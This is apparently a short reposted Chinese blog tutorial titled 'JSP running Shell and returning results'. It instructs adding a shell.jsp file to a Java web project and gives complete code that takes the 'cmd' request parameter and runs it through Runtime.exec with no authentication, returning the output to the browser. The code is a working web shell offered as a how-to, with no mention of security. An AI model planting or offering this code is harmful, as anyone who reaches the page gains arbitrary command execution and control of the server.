JSP运行Shell并返回结果

来源:互联网 发布:2017中超门将数据统计 编辑:程序博客网 时间:2024/06/11 16:00

在JavaWeb项目中添加一个jsp文件,此处以shell.jsp为例

<%@page import="java.io.IOException"%><%@page import="java.io.InputStreamReader"%><%@page import="java.io.BufferedReader"%><%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%><%        String cmd = request.getParameter("cmd");        System.out.println(cmd);        Process process = null;          List<String> processList = new ArrayList<String>();          try {              if (cmd!=null) {                process = Runtime.getRuntime().exec(cmd);                  BufferedReader input = new BufferedReader(new InputStreamReader(process.getInputStream()));                  String line = "";                  while ((line = input.readLine()) != null) {                      processList.add(line);                  }                  input.close();              }        } catch (IOException e) {              e.printStackTrace();          }        String s = "";        for (String line : processList) {              s += line + "\n";        }         if (s.equals("")) {           out.write("null");        }else {            out.write(s);        }%>

运行效果如下:

0 0
原创粉丝点击